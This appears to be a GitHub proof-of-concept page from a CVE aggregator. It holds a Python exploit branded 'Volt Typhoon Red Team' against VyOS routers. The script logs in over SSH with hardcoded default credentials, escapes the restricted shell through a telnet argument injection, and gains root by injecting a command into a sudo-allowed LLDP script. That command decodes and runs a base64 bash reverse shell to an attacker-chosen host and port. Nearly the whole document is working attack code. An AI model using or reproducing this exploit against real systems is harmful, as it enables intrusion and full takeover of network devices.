4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / vyos_exp.py PY
import base64
import paramiko
import time
import argparse

RPORT = 22
USERNAME = 'vyos'
PASSWORD = 'Pa$$w0rd'

ascii_art = r'''
\.          |\
   \`.___---~~  ~~~--_
   //~~----___  (_o_-~
  '           |/'

__     __    _ _     _____            _                       
\ \   / /__ | | |_  |_   _|   _ _ __ | |__   ___   ___  _ __  
 \ \ / / _ \| | __|   | || | | | '_ \| '_ \ / _ \ / _ \| '_ \ 
  \ V / (_) | | |_    | || |_| | |_) | | | | (_) | (_) | | | |
   \_/ \___/|_|\__|   |_| \__, | .__/|_| |_|\___/ \___/|_| |_|
                          |___/|_|                            

              VOLT TYPHOON RED TEAM
'''

def main():
    print(ascii_art)

    parser = argparse.ArgumentParser(description="VyOS Privilege Escalation Exploit - Volt Typhoon Edition")
    parser.add_argument("-t", "--target", required=True, help="Target IP address")
    parser.add_argument("-lhost", "--localhost", required=True, help="Localhost IP for reverse shell")
    parser.add_argument("-lport", "--localport", required=True, help="Local port for reverse shell")
    args = parser.parse_args()

    RHOST = args.target
    LHOST = args.localhost
    LPORT = args.localport

    payload_cmd = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
    payload_b64 = base64.b64encode(payload_cmd.encode()).decode()

    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    print(f"[+] Connecting to {RHOST}:{RPORT} as {USERNAME} ...")
    ssh.connect(RHOST, port=RPORT, username=USERNAME, password=PASSWORD, look_for_keys=False, allow_agent=False)
    print("[+] Connected.")

    chan = ssh.invoke_shell()
    time.sleep(1)

    output = chan.recv(65535).decode('utf-8').lower()
    print("[*] Initial shell output:")
    print(output)

    if 'vyos' not in output:
        print("[-] Target does not appear to be VyOS.")
        ssh.close()
        return

    if '> ' in output:
        print("[*] Restricted shell detected. Attempting breakout...")
        chan.send("telnet ';/bin/sh'\n")
    elif '$ ' in output:
        print("[*] Unrestricted shell detected.")
        chan.send("/bin/sh\n")
    else:
        print("[-] Unexpected shell prompt. Exiting.")
        ssh.close()
        return

    time.sleep(2)
    output = chan.recv(65535).decode('utf-8')
    print("[*] After breakout attempt:")
    print(output)

    exploit_cmd = f"sudo /opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl -action show-neighbor -i ';echo {payload_b64}|base64 -d|/bin/sh'\n"

    print("[*] Sending privilege escalation payload...")
    chan.send(exploit_cmd)

    print("[*] Payload sent. Check your listener for a reverse shell.")
    print("[*] Press Ctrl+C to exit.\n")

    try:
        while True:
            time.sleep(1)
            if chan.recv_ready():
                resp = chan.recv(4096).decode('utf-8')
                print(resp, end='')
    except KeyboardInterrupt:
        print("\n[*] Exiting.")
    finally:
        ssh.close()

if __name__ == "__main__":
    main()